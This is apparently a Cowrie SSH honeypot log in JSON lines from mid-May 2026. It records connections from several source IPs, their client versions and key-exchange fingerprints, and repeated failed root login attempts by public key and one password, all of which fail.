{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:eb:de:d9:6a:82:71:6d:fd:98:e8:1a:01:7c:2c:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK03//k62PWFJ4ahhQKbbrL2QeCoV5au9Ch99HdE6/X2+Ok+r1+rU5c7WrUV03PSqHaUP/q7T/DKlcYEo/7yUSlA9etIMepoySkzswFZrfjU1hpO33tsaYj5fe2iief7hMH/qRd320ISwx0HZ4NWtGHORYucqDwVFhn/mZ85scwhGaUiCP17fLJxMVvcMnH9c+kDn2QkrH27oqqH57yfhSnVWt1uvYEpSsOCVsrcbOxRpxtAZpzCN+lg9f1zMVdcPukqN+EsoGsAR+lnlzdlZRg+0SHPw+Z+mHcvkoLeJc62+kQBLPn5lzQxDEzIFdw1fHDGmnIjfgZ4fLUMeoVZel","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:eb:de:d9:6a:82:71:6d:fd:98:e8:1a:01:7c:2c:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.370749Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:eb:de:d9:6a:82:71:6d:fd:98:e8:1a:01:7c:2c:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK03//k62PWFJ4ahhQKbbrL2QeCoV5au9Ch99HdE6/X2+Ok+r1+rU5c7WrUV03PSqHaUP/q7T/DKlcYEo/7yUSlA9etIMepoySkzswFZrfjU1hpO33tsaYj5fe2iief7hMH/qRd320ISwx0HZ4NWtGHORYucqDwVFhn/mZ85scwhGaUiCP17fLJxMVvcMnH9c+kDn2QkrH27oqqH57yfhSnVWt1uvYEpSsOCVsrcbOxRpxtAZpzCN+lg9f1zMVdcPukqN+EsoGsAR+lnlzdlZRg+0SHPw+Z+mHcvkoLeJc62+kQBLPn5lzQxDEzIFdw1fHDGmnIjfgZ4fLUMeoVZel","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.374332Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:a6:71:19:10:fe:08:19:43:dd:15:9d:18:a6:cb:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDChq7ocVrhWYcy9IZZLBkbDH4ZQd+M2KNhedBy+DySKUpknYuuEg6/6FGM5KOe/Vo0X2rwp3Iid94bDkaLG4qwVzGu3WPYdC6USA0cH0QW0cP01mhkDjJQZmtP0rx8WUqX7S1EmB9a+vtlUC3kuL9mRoPRFLdIDFJkUpVCIFjS18xXWV4SMIvKxYKD/Zh+lSIfdw8OFQ03MbTrri/tg3EYA5jLvIQC6ZQR5CdQHmqWDoJk/exJQp+Wo5AmqcrU57jHrE1z5kMB5JzIbm94LkKwRpxayOZzPIR+L2yZaWXidF2lA0HIkE7sphldrGA4XdYx2s4w7oXtA/gW12OcjzCZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:a6:71:19:10:fe:08:19:43:dd:15:9d:18:a6:cb:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.446357Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:a6:71:19:10:fe:08:19:43:dd:15:9d:18:a6:cb:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDChq7ocVrhWYcy9IZZLBkbDH4ZQd+M2KNhedBy+DySKUpknYuuEg6/6FGM5KOe/Vo0X2rwp3Iid94bDkaLG4qwVzGu3WPYdC6USA0cH0QW0cP01mhkDjJQZmtP0rx8WUqX7S1EmB9a+vtlUC3kuL9mRoPRFLdIDFJkUpVCIFjS18xXWV4SMIvKxYKD/Zh+lSIfdw8OFQ03MbTrri/tg3EYA5jLvIQC6ZQR5CdQHmqWDoJk/exJQp+Wo5AmqcrU57jHrE1z5kMB5JzIbm94LkKwRpxayOZzPIR+L2yZaWXidF2lA0HIkE7sphldrGA4XdYx2s4w7oXtA/gW12OcjzCZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.450585Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:af:68:4e:3b:43:7f:62:0f:74:fb:cd:06:f5:47:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjjncy2EJAWtKxjJt4n9hFBi74agCvwGjkXPO7rlJ+CcVw43tLbk0u+HIiY8gPDc1emtGNjYP1GfdadGDoYwN9teJw8uPex9FWmT8iMvcHqpvee3zwSr6qxCdRrWvcbdsvFIP0P+tf8xAy3DU9688J2579wRGW7HJaV487lklEQlSI8ZwIa7rs7QWxDn6d6L/AMV/rRGrUQvrK5/tOfht8xy4iXTDWdyKS3VpY5vAGNatjPPMRl1mUwb2JyjkP+hUxG/qYNBVkLBlCzdMzTCwXufqN1WONrvrgyHK++KvAIq5gAJ6NRakTTecNGymPNhBc3mXvXrPXJ805n1ouW2ht","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:af:68:4e:3b:43:7f:62:0f:74:fb:cd:06:f5:47:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.523486Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:af:68:4e:3b:43:7f:62:0f:74:fb:cd:06:f5:47:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjjncy2EJAWtKxjJt4n9hFBi74agCvwGjkXPO7rlJ+CcVw43tLbk0u+HIiY8gPDc1emtGNjYP1GfdadGDoYwN9teJw8uPex9FWmT8iMvcHqpvee3zwSr6qxCdRrWvcbdsvFIP0P+tf8xAy3DU9688J2579wRGW7HJaV487lklEQlSI8ZwIa7rs7QWxDn6d6L/AMV/rRGrUQvrK5/tOfht8xy4iXTDWdyKS3VpY5vAGNatjPPMRl1mUwb2JyjkP+hUxG/qYNBVkLBlCzdMzTCwXufqN1WONrvrgyHK++KvAIq5gAJ6NRakTTecNGymPNhBc3mXvXrPXJ805n1ouW2ht","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.527506Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:35:4f:4d:cb:8c:2b:6d:27:aa:d0:69:98:65:cb:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIJHnbfcMKIOnDdSRLTWfVLMd64qJtBERvP4ePxowzB1f012AGRlKtN5SrHVbxVc6cqd7UprvSQbl4zWMsu0ow3DoBVUVqBveBde/jhy0l9e3yxhU/m6DkRxeqaxyPTMl2UjtSX0vvS6VubK7ptxdPA21nhK7MbiUokmQsbs8fGQvrhUHnt3sUDYh1cVolbdWNcMDJmzDd5gLkWr6DW2pnU6265l4JU3tZ1fMKHbFi67yvMikj+ORX46kVSDQB0bcFUtpyF6fsINyEBzw3siDwWxZmJt5nC81somP2j+x4qpMTQ0hSDbeUSoieWEXprfQLWQThfp6WL6sfQX0qGyz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:35:4f:4d:cb:8c:2b:6d:27:aa:d0:69:98:65:cb:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.600600Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:35:4f:4d:cb:8c:2b:6d:27:aa:d0:69:98:65:cb:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGIJHnbfcMKIOnDdSRLTWfVLMd64qJtBERvP4ePxowzB1f012AGRlKtN5SrHVbxVc6cqd7UprvSQbl4zWMsu0ow3DoBVUVqBveBde/jhy0l9e3yxhU/m6DkRxeqaxyPTMl2UjtSX0vvS6VubK7ptxdPA21nhK7MbiUokmQsbs8fGQvrhUHnt3sUDYh1cVolbdWNcMDJmzDd5gLkWr6DW2pnU6265l4JU3tZ1fMKHbFi67yvMikj+ORX46kVSDQB0bcFUtpyF6fsINyEBzw3siDwWxZmJt5nC81somP2j+x4qpMTQ0hSDbeUSoieWEXprfQLWQThfp6WL6sfQX0qGyz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.604452Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:12.674257Z","src_ip":"74.48.165.72","session":"6d50a0bb3677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":54674,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b6d671bf0e","protocol":"ssh","message":"New connection: 144.91.86.102:54674 (10.17.0.5:22) [session: 75b6d671bf0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:18.232705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:18.237381Z","src_ip":"144.91.86.102","session":"75b6d671bf0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:18.330635Z","src_ip":"144.91.86.102","session":"75b6d671bf0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hanuman","message":"login attempt [root/hanuman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:18.734596Z","src_ip":"144.91.86.102","session":"75b6d671bf0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:19.832501Z","src_ip":"144.91.86.102","session":"75b6d671bf0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":57184,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1de6bbc01fe","protocol":"ssh","message":"New connection: 89.45.12.16:57184 (10.17.0.5:22) [session: b1de6bbc01fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:20.208345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:20.213480Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:20.354048Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:b8:43:03:00:01:72:19:97:d1:b5:38:66:9b:15:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApwUcJpbzQFAVUiAvENbPZhOCSzfOVrYYbVWJFxTkKnV2MKn8apjZPRvgYzb5dnCRWf4xh2NMcTNvcwo8fnhiJ+2Ym+gv+nq7F32M3uOtJD4XRTdeW1YAMFHmQN8oJTSEJ3VmFiOVue6hEsuTkbxNXUQRLFqnAFYgn69aTaPlD+TPVmIOYlSsR+m5fjDkueuV/2GFWM52bN0puNUyRXsKpQ8U7+ymAbbVfD0QbjUnt618njs+a9C1RmevjvI2XDejzFhF2uzQYM95rtgifJuxPTxb7IiryJ/94zv96Tm8oPmJAQ3/cZA89eoPmWdR3PYRjlFE6TQ3CQyrB6yYLVwrJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:b8:43:03:00:01:72:19:97:d1:b5:38:66:9b:15:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:20.997293Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:b8:43:03:00:01:72:19:97:d1:b5:38:66:9b:15:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApwUcJpbzQFAVUiAvENbPZhOCSzfOVrYYbVWJFxTkKnV2MKn8apjZPRvgYzb5dnCRWf4xh2NMcTNvcwo8fnhiJ+2Ym+gv+nq7F32M3uOtJD4XRTdeW1YAMFHmQN8oJTSEJ3VmFiOVue6hEsuTkbxNXUQRLFqnAFYgn69aTaPlD+TPVmIOYlSsR+m5fjDkueuV/2GFWM52bN0puNUyRXsKpQ8U7+ymAbbVfD0QbjUnt618njs+a9C1RmevjvI2XDejzFhF2uzQYM95rtgifJuxPTxb7IiryJ/94zv96Tm8oPmJAQ3/cZA89eoPmWdR3PYRjlFE6TQ3CQyrB6yYLVwrJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.001110Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:65:1b:13:a8:f5:21:3a:e4:dc:04:3d:24:d1:b0:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnRYbQaLqpN42OxjpoAGepvfk9S1Yepff4WJiYQt/159+5+CW3eC5HQ/H49KR+o9DsSacJzPGq1QXaZl3O4FBgL7QmsdTrxoCtxyxxwKf8e9jPzfiA2fYAsdD/KzJe/XFO700Ax8UzGAaKhokySP+tB1Mj06zqTGJhd48GcLhlSTa9vCzbIKkBfT05u012fzNI+LuJ6IpMb8nr0o7kHECg9hRD2dZdZ+H6uUhF2PJd3LgKxooasNWqdmI1sslgwTlY2dlu8cWGlobNaG1/jNv8V0GVGbjnY0COL1HbOb1utUZcMu1fNQxUygpWwhIAK+RIg2a83lVZm5f2GtArOzYuEcpie41z31uVJJWzUc0HqSB02DN7vt0ldDKXk1NnK6Du5CMH8Mo+uMupjbCq1/fQ2P5HZcW+P9FscNerQYbLDH6mb63hsLxRrv60OwTNba/BvyP+s8qSZoWL+jvpoalTux0zo2NoeDhxPCy+QKChdqOPNxMNzMFB5mBvmGohgEyueT7jbpFuOKXBbviMbr4iX4jfs9JPkfrQXMWotzwkeediR/qYkoZN3LzC7dxBi2WcWYcmYpGXOeQnjjn7QUy02xEY8DGCCB4F9kHoDj1ku4LyI65zoJY69JDj/40bLVpFAF21dMiKGFmC907TmPShEvr9z3ABz6US16JtaCCO8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:65:1b:13:a8:f5:21:3a:e4:dc:04:3d:24:d1:b0:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.135562Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:65:1b:13:a8:f5:21:3a:e4:dc:04:3d:24:d1:b0:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnRYbQaLqpN42OxjpoAGepvfk9S1Yepff4WJiYQt/159+5+CW3eC5HQ/H49KR+o9DsSacJzPGq1QXaZl3O4FBgL7QmsdTrxoCtxyxxwKf8e9jPzfiA2fYAsdD/KzJe/XFO700Ax8UzGAaKhokySP+tB1Mj06zqTGJhd48GcLhlSTa9vCzbIKkBfT05u012fzNI+LuJ6IpMb8nr0o7kHECg9hRD2dZdZ+H6uUhF2PJd3LgKxooasNWqdmI1sslgwTlY2dlu8cWGlobNaG1/jNv8V0GVGbjnY0COL1HbOb1utUZcMu1fNQxUygpWwhIAK+RIg2a83lVZm5f2GtArOzYuEcpie41z31uVJJWzUc0HqSB02DN7vt0ldDKXk1NnK6Du5CMH8Mo+uMupjbCq1/fQ2P5HZcW+P9FscNerQYbLDH6mb63hsLxRrv60OwTNba/BvyP+s8qSZoWL+jvpoalTux0zo2NoeDhxPCy+QKChdqOPNxMNzMFB5mBvmGohgEyueT7jbpFuOKXBbviMbr4iX4jfs9JPkfrQXMWotzwkeediR/qYkoZN3LzC7dxBi2WcWYcmYpGXOeQnjjn7QUy02xEY8DGCCB4F9kHoDj1ku4LyI65zoJY69JDj/40bLVpFAF21dMiKGFmC907TmPShEvr9z3ABz6US16JtaCCO8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.139261Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:22:43:24:0c:c2:e2:53:6b:79:87:f5:d5:fc:03:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRV+cWIuZif9XKmfujDMOtEyJ1dIjZk3cMYHDRWbn5xkNR5DjSrV1NvlHeCCjrJ6lGhKb9MC2qIgGqTWm3XvEJdiPGzTbpprdpfpaACHUtQYK+48eu0BJ75rCmnebv1qsBSqzaWRydvrDtDPNSyObt2TYkI3bOK7fpBaHEovuxlGWc6FDP2rHDWldi2tgzK+0fGzP4BJquzA2gZHguP1EhfiWf2PCMhPQxtDWg1C5vtZCgEMStP9iK0kZNwASgEPQRXB5rCWRxSlCfvGpZCIMEyfJyp/c7gCU+Fb47xeWCXB6xdceUQm9uP+unavKW/RmEHPQmTzgHL1Vegdug+rf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:22:43:24:0c:c2:e2:53:6b:79:87:f5:d5:fc:03:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.275876Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:22:43:24:0c:c2:e2:53:6b:79:87:f5:d5:fc:03:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRV+cWIuZif9XKmfujDMOtEyJ1dIjZk3cMYHDRWbn5xkNR5DjSrV1NvlHeCCjrJ6lGhKb9MC2qIgGqTWm3XvEJdiPGzTbpprdpfpaACHUtQYK+48eu0BJ75rCmnebv1qsBSqzaWRydvrDtDPNSyObt2TYkI3bOK7fpBaHEovuxlGWc6FDP2rHDWldi2tgzK+0fGzP4BJquzA2gZHguP1EhfiWf2PCMhPQxtDWg1C5vtZCgEMStP9iK0kZNwASgEPQRXB5rCWRxSlCfvGpZCIMEyfJyp/c7gCU+Fb47xeWCXB6xdceUQm9uP+unavKW/RmEHPQmTzgHL1Vegdug+rf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.280193Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:c9:7b:59:31:84:00:e3:b7:3a:58:fe:94:2c:1a:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6vyUVvuyeNORdNDuzGeE5dBDOwtJ7oRVdcfuf2RriCzQh9bSAw3rlV5wntOnuC5dsmy/RzTDeGwD7J2gMRUhyRkFf/XxHe4/4/m8kHTBGYVxri/D8W61BYg0D458hoQfLa0eO09wemZaprmlIHERqcMUPdtnNecMVkEFSNgpp0LP83NuX0j7+44cxcrW/O1ObUQHtpOcKXeoJqeMBEkUB+3ILOibhrbz/7xIWHwl9O+PvzjOHPbHbw3Zh8w8aQDTejaoaaDaSs2lo0Z3aCv1S/JQiTqIjbCbDUK9w4S3K3fzTAgMEAqDaKM3FpkdafspL46w13YooDhh8QptiTeRJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:c9:7b:59:31:84:00:e3:b7:3a:58:fe:94:2c:1a:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.415746Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:c9:7b:59:31:84:00:e3:b7:3a:58:fe:94:2c:1a:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6vyUVvuyeNORdNDuzGeE5dBDOwtJ7oRVdcfuf2RriCzQh9bSAw3rlV5wntOnuC5dsmy/RzTDeGwD7J2gMRUhyRkFf/XxHe4/4/m8kHTBGYVxri/D8W61BYg0D458hoQfLa0eO09wemZaprmlIHERqcMUPdtnNecMVkEFSNgpp0LP83NuX0j7+44cxcrW/O1ObUQHtpOcKXeoJqeMBEkUB+3ILOibhrbz/7xIWHwl9O+PvzjOHPbHbw3Zh8w8aQDTejaoaaDaSs2lo0Z3aCv1S/JQiTqIjbCbDUK9w4S3K3fzTAgMEAqDaKM3FpkdafspL46w13YooDhh8QptiTeRJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.419591Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:8a:e2:0d:08:2b:3b:39:57:9d:73:20:d0:f1:f5:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrl91gY95D5tNs4YjOGR5YLIZsFIeujKnb0f+5uf+/j+OxLBMo7JFY9iPSK2rrN9XxGiF10PHmiXi9zxTH8Z54h/0+xEwr1nr+QfiyK1snE/R1bGsoBSQqRtG6rs7PWDnDlZxKn7LZGu0oHg7xdKjhXuwMjisSJeinlXA4+Gr8KXP+MEPqa3gD5dLfXEWYggL3whpuTJLi7PbmxnyGYWQKbFqP7TykV2K++RVvwYFPr8XOPazbxECl/cFuYO0KYLq2gQV2dUcrU4czqoqQgme7HDIPPp8IpjxJQJXQL1djt+ZEKLxKMtC0dBGG19/BwhZqjQJA270t8scOJlgb++cR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:8a:e2:0d:08:2b:3b:39:57:9d:73:20:d0:f1:f5:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:37:21.556417Z","src_ip":"89.45.12.16","session":"b1de6bbc01fe","protocol":"ssh"}
